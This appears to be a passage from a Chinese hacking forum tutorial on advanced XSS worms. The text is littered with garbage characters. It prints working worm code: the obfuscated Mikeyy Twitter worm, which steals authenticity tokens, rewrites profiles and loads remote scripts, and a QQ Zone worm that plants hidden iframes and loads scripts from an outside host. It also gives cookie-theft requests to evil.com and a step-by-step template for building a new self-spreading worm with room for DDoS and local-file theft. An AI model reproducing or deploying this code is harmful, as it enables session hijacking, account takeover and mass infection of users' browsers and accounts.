' B2 J- h9 ~( Z# f6 [& evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

1 B, ~* W4 n0 E  t/ ?XmlHttp.send(null);
' h: K. G, |8 q2 S% Y% O
% f1 u' B3 Z/ v/ n! ^</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


% r0 ?2 S+ I4 x+ Z$ a8 f
  p# w7 ^# X- t  UXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
7 O. S$ \& q$ m" e5 ^. q/ t0 C
<script>
5 L. `* t+ \& W7 r$ x3 H复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
# O7 ?0 U$ j- d) C5 f* M  {" [0 z复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
4 P, w# X7 k( k" F5 }
/ {9 T! n& Q8 g  K/ h+ d" v7 ~- l6 天前 08:27
9 y7 H4 p/ c/ X4 i! B' l
: M5 V2 i/ [1 G( D+ T第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
# p* R) X1 |0 g$ w2 j! I
   2.   
# R$ ~" F0 ?4 O2 J
   3. function XHConn(){  
8 H" X( @# u2 \2 @
0 i, _7 x* i4 s- f# K/ n  R   4.   var _0x6687x2,_0x6687x3=false;  
  Z0 L2 v1 f% t# v, W+ M7 g; k7 J
$ D3 w2 t' S3 c- R! {   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
' r4 ]4 O6 g* O8 A3 F- B
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

- W  z. Z+ b* A9 d7 x" ?. _; A   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
* t' t* X/ Y) b: x! q8 P" \
; \4 m6 N# h0 a0 ^/ l8 U   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
2 a  P- Y% U% t7 Y& @
: m7 }$ F8 S% |7 L; _) X   2.   var content = document.documentElement.innerHTML;  
; p4 P; b$ i6 ?6 E7 I
1 D& m3 P' b9 t' O   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
# \/ |9 @* X& b8 G. k" x# W6 E
8 P! b0 e  D2 Q$ C* |% f1 r   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

. n9 @6 c0 v- X) N9 Y   6.   var authtoken=authreg.exec(content);  
# p* }$ G; i  m* D; Z; ?
   7.   var authtoken=authtoken[1];  

8 K9 Z) B# C. A' A( D4 `* S; a   8.   var randomUpdate= new Array();  

6 |" N7 B' e  |+ ~   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

9 n( Y2 i8 J6 o1 o" ^; e- e  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
1 X' U% Y7 A& j7 o5 t
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
7 g) n/ f0 U8 W
3 B- u; w3 P4 K; g  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
  C0 s# T* i- J9 |3 H6 P; B
% m  `& H3 s: r/ i/ r  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
) O: d9 |, A) G' k! K( j" y
8 Y9 w! O% Z! J+ R  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
2 O. @2 O" [# v( }7 J# z! q
; i  E8 C& @6 x  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
- `+ w! O# {$ p8 N1 J
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

5 X" c, Q) J, U# v: F) N6 W  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

* l: k% w3 w3 W9 Q& g; X  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

* G' P$ L: z6 I4 q4 S* s. K8 R  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

) ?! C. u7 z2 D: ^  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
2 W' e* g  d3 @7 V. _
2 ]2 B; @  `5 c2 J7 i, C  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
8 t  \" F: w3 x% S
6 o6 F9 k* \5 t& F  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
  I8 l  D; K, H( C
, g1 |1 C) U9 V. f  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
5 p& N: n% Y0 O* q
& p8 H" D- |. |) B( N  27.     

  28.   var ajaxConn= new XHConn();  
, t5 T- w6 [1 d) M7 s) E
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

/ Y4 k$ E9 s" i& m) n1 z4 T  30.   var _0xf81bx1c="Mikeyy";  
3 w. P: `$ `1 U  @
  31.   var updateEncode=urlencode(_0xf81bx1c);  

2 l% E( W, @  B% J' J, R$ J' V  32.   var ajaxConn1= new XHConn();  
: L. \7 v1 i5 D  c  ]3 x, F
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
4 N8 W+ V' q$ t9 j2 Y& }$ |
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

9 u6 o* ~: R( y" b) Z3 u  36.   var ajaxConn2= new XHConn();  
7 |4 Y7 v# c- Q* G8 @0 X
: M7 b0 x3 }8 ^' q( G+ a  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
' r8 h6 c: }( Z1 W. s
. f. o3 }' r, T  39. } ;  

6 G  R6 X/ W2 w' C+ `: k* O2 C4 |4 s  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
+ p6 Q/ V7 r' q6 S! i7 x
window.onerror=killErrors;


4 a$ h; u; d7 |
var shendu;shendu=4;

) V$ b) V, R: m9 S6 k: m//---------------global---v------------------------------------------
; O$ K1 W3 S" U' l- B
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
4 n: t- {: Z- m" T$ y0 ?
* [, w1 b; G" Zvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
* I: {$ Z" J0 s3 R
( L; W/ q  K, w        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
1 [& O* ?; V3 ~8 N3 S, p/ \: r! e
/ L: S% h; K2 i3 W        gurl=gurl.substring(0,gurle+3);        

+ W% n% L$ P" y        var visitorID=top.document.documentElement.outerHTML;
  v7 r! S$ j! K! j. c
( e, h7 L+ D1 Y           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
* O6 {) }/ t4 V% ~$ y0 A8 d* Q
$ t" G! _& O; j        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
* J5 J) t: m" Q, p
8 D% w# K% ~* v+ W        DOshuamy();

# ^, d/ {0 ~$ Y/ y/ n3 N

* M6 I' u/ G+ L* `; w//挂马
# E$ x6 C) n! d6 t6 m
function DOshuamy(){
: r. ?* c$ L) u5 k7 Q
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
+ Q6 ]; m0 C6 ]2 ^
: L' K; Y4 j) O- Y0 `. ?/ W5 [' X}
* j$ i" b' V( T
+ a& t; `$ e3 o! O' j3 N2 b5 }5 R

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

4 Z, d, s: l5 t% W   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

/ v" K. \# ?+ t: B% L& R! @" `& G   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
7 M3 Y  R2 g* C. q& q4 a
- K  Q% L5 a0 B     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
8 ~' v. A( }& a) n$ F
$ z- H- r) {+ q) ~" E     xhr.send();guest=xhr.responseText;
4 n6 X% u+ G4 d; ~% w& Z; C
+ {6 D+ @+ s( C. b+ ?9 q0 T     get_my_blogurl(guest);    //执行这个函数

    }
& G) o. T$ C; ~# l+ a- I/ [9 V
3 D- P. _9 S: C2 W2 _  h}


6 d) ?; {* m3 `- \" b- `
//这里似乎是判断没有登录的
- T% w! _& |$ O/ a( v
function get_my_blogurl(guest){

1 K# A% H4 Z* }& j8 o4 n7 x  var mybloglist=guest;
' V+ C) u1 z0 Y" [6 A$ \
4 f9 p- u" M8 X. j+ Q  var myurls;var blogids;var blogide;

* {5 D  R$ \1 d9 j; \; v  for(i=0;i<shendu;i++){
0 m+ r; B/ _: J" @3 v4 H. E: k
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
8 K5 V* J6 ^9 l4 G9 z6 w5 {
& B2 n9 m, g1 t2 t" a6 T     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
4 P' b0 J7 o3 T1 ^( R
         myurls=mybloglist.indexOf(')');

4 ^9 Q& U+ x! x, K) n5 w         myblogid=mybloglist.substring(0,myurls);

: {6 }. q* h, H1 j( Q        }else{break;}
$ k5 l; c9 X+ G5 E" n1 ?; u
}

, P4 }( O  m1 o" i5 j/ _get_my_testself();    //执行这个函数

}

! W$ Z! E; I' q4 d4 T

% @- A; G9 R* b, o2 Y9 H* W, k//这里往哪跳就不知道了
4 J. r/ T( l- i
function get_my_testself(){
6 E& D: }* }0 U$ ?9 L; q# {1 K
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
& u. ]2 l6 A1 g! O
1 N' z- V: ]3 d; ~' W# P. H; x5 R      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
! ]% R! L  D7 B. l0 n
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
0 @* |% X( R7 x! V/ `
( ~: f& j8 h% M5 {! p* v; V' o              xhr2.open("GET",url,false);     //打开上面的那个url

) a; E" a) v6 j  x# R0 b/ ?; G              xhr2.send();
- p, v8 C( D9 @0 i' b. P$ Y9 f
              guest2=xhr2.responseText;

/ @8 }% Q  |6 Y8 N; [4 D. V              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

4 D5 K  c: p) K6 j) m              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

2 n# g+ l0 ~; Z6 s) @* U! T+ T- X              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
  d) r# R: N9 |; H" {
& f/ `  M& F9 ], Z1 ]  J3 r$ j* G1 G* Q                targetblogurlid=myblogid;   

0 [! A$ m' R1 S3 F                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

" D' }' e5 H- u                break;
5 J& \- d! L: @8 d, v
               }

              if(mycheckit=="-1"){

3 u1 o2 w: m0 K4 M' H                targetblogurlid=myblogid;
  I# p6 P! k: p9 W; c) C7 Y
9 D) c9 u, V( U8 K6 g: y1 o  N                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;

               }
' E! t* i6 b* ^2 {' E
        }      

}
# i0 h2 X. y) P9 l* w, C5 ]! a; Y
* f; Y- D/ a7 T4 I3 E5 B}

% K  Y8 _: z2 D$ C9 b2 b
; ^7 A, L+ X- P4 l$ H* E
//--------------------------------------  

$ o! Q) y. v; h! k* S//根据浏览器创建一个XMLHttpRequest对象
) X' H8 [+ @3 {3 r; s
function createXMLHttpRequest(){

    var XMLhttpObject=null;  
/ K1 Y( P+ k1 j" t  @. i# ^
) U( H" a% L. Y2 h    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

5 @* i. n1 |& H& O  z    else  
! D% w$ J6 D' U+ O0 V+ a& z
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
- v1 q4 _8 d1 B
        for(var i=0;i<MSXML.length;i++)  
2 I( a: O  \" S
7 X7 t; M+ C7 c9 H; r3 [; w        {  
) V5 l# h7 G& m* [+ ~( u( p
# ~9 P, ^( Q3 `6 _0 j. K7 N            try  
# M. i5 W- P6 ], S  L. {
            {  
, ]& h6 a+ m2 L- I& A
                XMLhttpObject=new ActiveXObject(MSXML);  
/ u, O! q- \, h
                break;  

            }  
+ E7 H; U. D+ o" e6 Q# n  w" h
. u2 X! X( K- }+ O0 r1 ]            catch (ex) {  
! k7 l1 r& T% {" [1 W
7 G0 ]+ f) R) O2 H- E/ }            }  
0 r# G, U; F6 w+ _
         }  

      }

. j# e* i$ [2 E& M  S* n1 rreturn XMLhttpObject;

; G+ |3 r8 @$ v# ~/ Y% N}  
- I! p% b5 L: H4 }, v4 ~& X0 k9 y

- Z$ e6 _+ K& l+ E3 O( i
//这里就是感染部分了

8 o5 ~, D$ H) ?( L* jfunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
$ J# ?2 F& {9 X+ T( I4 G* v$ C" H/ V
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
8 Y% Q* |7 z" ^5 V% p' P% _
, _1 \4 \8 }3 r7 I! @) f0 [}
8 o3 N0 J6 j0 R6 k+ W: ^

' G( K- u9 M: B2 `$ m6 l
function add_jsdel(visitorID,targetblogurlid,gurl){
+ P0 R8 U" s  t5 ~7 n8 J5 d
5 c# Q: o0 c) a# K0 S0 O6 O# n/ ]var s2=document.createElement('script');
  L6 `2 y/ p. k6 s9 _0 |
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 r$ r: @( l5 C
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
3 _! Z3 E- p8 a! T% a
9 U$ j1 w! ]4 Q+ U}
. X1 H' P5 R; |( m; P, k复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
+ `; p% H$ o2 R
, F$ j9 }3 V1 `" k! X3 ~4 y# H综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

& K* {2 W) n) i0 j
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

; l. d1 r8 k! B0 o首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();
" v9 U- K$ P, ?/ W3 q
6 v/ l( ?* d# X8 W& N- Uif(request.overrideMimeType) {

request.overrideMimeType('text/xml');
2 V& }- I* \! \! _* H
}

- j( h9 N+ D% l" J8 ?( r$ b9 w} else if(window.ActiveXObject) {
+ k) g0 F, G5 Y$ r0 r
! x$ T, C7 M& [var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  I3 ~5 ?+ A4 r, y
for(var i=0; i<versions.length; i++) {

9 v+ U* }7 {2 P, g7 u! _9 Z! Etry {
9 \& N$ `' M2 [. W  r# {( |
+ k& M" r7 Z' O  Lrequest = new ActiveXObject(versions);
2 F; P' @% b( Z4 b% b: ]$ f9 }, |
5 K$ n( y) q" {8 x" J1 m+ V} catch(e) {}
, G# Y$ U9 x  q, l
# E! B3 o4 ~" C+ s+ B8 P% m}

) J( \: R- ]- [/ Y/ G}
9 q1 O! |: M/ H( r: R
7 k' s1 |, a2 `  t3 oxmlHttpReq=request;
( B3 `$ w% a" g" z8 j4 o( r复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

+ B- N. k0 d9 x3 y# N* K3 E6 n3 H0 A        var Browser_Name=navigator.appName;
: y# Q* c: c4 R" e3 k) ~
        var Browser_Version=parseFloat(navigator.appVersion);

! H0 x' m8 j! R        var Browser_Agent=navigator.userAgent;

3 S% W* S. `0 N/ l        
! c2 C0 L0 @& A9 p9 _) g
7 J% g; s: o) Y6 o! n8 N2 x        var Actual_Version,Actual_Name;
" u4 z! T" w* m/ f/ s( M( w
% ^4 j0 [/ B5 l        
3 d9 @# }9 y) l' t; N' }
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
/ H" a/ ?6 {" ?
        var is_NN=(Browser_Name=="Netscape");

8 y( p9 m: c0 {6 c3 v/ z# u; ^        var is_Ch=(Browser_Name=="Chrome");
- V  U; ~( f0 r1 q* Z
- c8 j8 W* {3 Y0 s6 J2 M$ f9 ~        

4 i. C7 t$ m" D7 Y' w, n, r        if(is_NN){

; c1 z. f% y% I4 h5 J            if(Browser_Version>=5.0){
9 p% R2 x( ^0 @3 L. q( c  q
                var Split_Sign=Browser_Agent.lastIndexOf("/");
- R9 X, P; R5 K  G2 e: d( ]
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

& t% w  U; [0 ]" U1 n6 @  f                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
, ~% i, L! J6 J" J9 M' s( F+ E

  o% N4 Z4 s; D
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
( G  c1 a7 u- t" J/ o$ X0 N5 P
9 c! g8 g& |+ W8 p- f                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

7 c" ]! T( t$ T1 M3 h            else{

                Actual_Version=Browser_Version;
6 D. r$ k9 ~0 e; P& q0 D+ Y
8 t9 }/ r( F% b% y( a, o                Actual_Name=Browser_Name;
, j3 W9 V3 E2 K' n. y& _
) M( a8 P' b) T; E- ~1 ?            }
% n; r/ a( \# m: L4 |
+ }0 j, u& u2 t, \/ |. A1 I        }
2 n; x0 p0 ~9 Y! R6 A& J' V
0 v$ y. s; Y3 n3 t. I) r        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
' P1 z0 G" ]  U  r- k6 @& P1 m
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ G8 D% u- r2 O3 y) Y# \% M( L! V
$ @- m2 O5 p! l: ^            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
7 ]$ m; m0 z! I9 c( p
            Actual_Name=Browser_Name;
, A1 {- _- |# V" ]7 s8 Z
            
% V- x2 o  C/ a5 v! F
            if(Browser_Agent.indexOf("Maxthon")!=-1){

" t) L7 p9 B( _2 o                Actual_Name+="(Maxthon)";
! J0 i' }/ i5 K1 K. i, o  x% g- l
            }

! `8 `& P9 }% W" c: d* y; F4 h            else if(Browser_Agent.indexOf("Opera")!=-1){

% h6 {6 W1 \5 K1 w  E3 @                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
4 @  b; y8 J; R" o+ S3 c4 E
) K7 g- K2 x# c                var tempend=Browser_Agent.length;
  C5 u/ l# i2 w/ n
% U  b9 L3 Y+ B, y                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

+ b+ u* |% O* J: o            }

6 C. u% b' @' R0 V+ n        }
: F5 i0 }* f' ?5 v
        else if(is_Ch){
' V& Y( a8 u0 a- x+ q
            var Version_Start=Browser_Agent.indexOf("Chrome");
, @3 _4 Z; `8 u
4 E+ z0 W( C- [( }/ Z- S            var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ l! i  D) |% w" z( l: n8 M
. X/ t9 C$ I* j$ E- \" r! g            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

7 ^" u2 K9 C& [; n2 ?2 [            Actual_Name=Browser_Name;
. _( e2 \* a: H( `3 m+ E" f
            
: E7 H5 n  l1 v# o
- R+ i- i. B' w0 z3 x% F5 H            if(Browser_Agent.indexOf("Maxthon")!=-1){
/ K  l; O* l& S/ U  H9 k/ V
                Actual_Name+="(Maxthon)";
; O# T8 V$ P! z/ j( `: \. N
' g) j$ d0 e: s3 R  L            }

$ F& H0 r' f9 _7 H! u/ F) M; C            else if(Browser_Agent.indexOf("Opera")!=-1){
$ d& r) w2 O+ k$ n
                Actual_Name="Opera";
' G  z$ x4 b5 |' c! g- f* M( ]
* n% k! F, r5 ?                var tempstart=Browser_Agent.indexOf("Opera");
" m2 G2 K7 l% A& i. J
3 D3 }' O; e: B" I                var tempend=Browser_Agent.length;
' \. v4 ~8 x/ S
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& \& M$ U" A( b" R# X
            }
1 K) `: F- B$ _/ A
0 v# v( ]1 A& v- F( |        }
& S% e# x; C' y& v$ D
7 j$ J/ w9 X& e( q        else{

            Actual_Name="Unknown Navigator"
- B- G! m+ C1 S) F) o1 l6 _& K
4 {3 ^5 F. T% _1 h$ G            Actual_Version="Unknown Version"
. [" C/ A1 o6 a0 ?4 a$ V7 O: C7 Q
        }
" g" W( B; I  Z8 W: i
4 K$ p* u# c& k( Q9 _. s

4 J" j: W) G) K- n# d7 O1 x        navigator.Actual_Name=Actual_Name;

9 ]) d/ T( Q; k# }$ j+ M( e- x        navigator.Actual_Version=Actual_Version;

        

; |" U1 C' e0 j$ Z        this.Name=Actual_Name;

        this.Version=Actual_Version;
4 L1 p( a' p9 G: S. {3 e3 A
    }

3 x+ _; [  O% O9 A; Z; ?    browserinfo();

/ M* ^' D; Q" [- A+ y" E8 M    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
9 j8 x5 x0 [# H' I- w' v0 @/ Z6 h5 t
8 z1 b9 X. H; [. x" Z) D- Y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
, C  H" M1 [" @/ T9 w复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
" v! h* y! k" b) v+ v2 w复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
/ B* e9 C) i) R* s1 M
xmlHttpReq.send(null);
, C3 J; G1 Y% Z, Q+ Z0 O, [
; y* Y3 ~0 S$ @. ^, Z! Ovar resource = xmlHttpReq.responseText;
( T0 ~# N3 F, X% ^. f( ~9 |2 r
var id=0;var result;
6 f; B! Y0 c  R/ H/ B5 x' D
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

, S6 @9 j7 [7 }- bid++;
* _' b. |; e% d. I! `* B
. E6 n) ~8 F( f( f) Y( I; h}
2 n/ {( y9 z9 V& Q* E, L复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

. b  K- a3 N. B& D5 G) fno=resource.search(/my name is/);

& ?8 n8 b; T2 t3 Q. K2 e, evar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
9 s/ Z6 }5 G5 c% n' {
var post="wd="+wd;
" f+ P& _! @4 v; S' i* D
# e4 `+ q. U& w0 q9 lxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
* F% W1 I- z  H; Q
0 y, Q* C# ^3 U3 n+ B# j, E: sxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
9 {$ N- |; n/ N- {, C8 ]/ t  |3 k- w
0 L/ G7 r4 o7 e8 KxmlHttpReq.send(post);

) H, \% A8 I+ R( o# p}
0 e4 h; p& \. E3 x7 P" D复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
) x- U! e: m2 L: K
. O! ~# l7 ?2 T% Fvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
, `: ]9 a1 N( N
( E3 q" k7 C! [- j- r/ }! nvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

0 k6 \7 ~. l! [8 F! nvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
5 _- \3 n/ d+ I
+ n- c. I8 l. n5 d8 B. a1 V  E. nxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
6 W9 z2 v) ~: s7 ]5 C
1 {* \  C+ Q$ }xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
3 `8 {8 T8 z* m& y+ A8 h+ S$ h6 K
) a0 J7 U; H2 H& {* {! mxmlHttpReq.setRequestHeader("content-length",post.length);

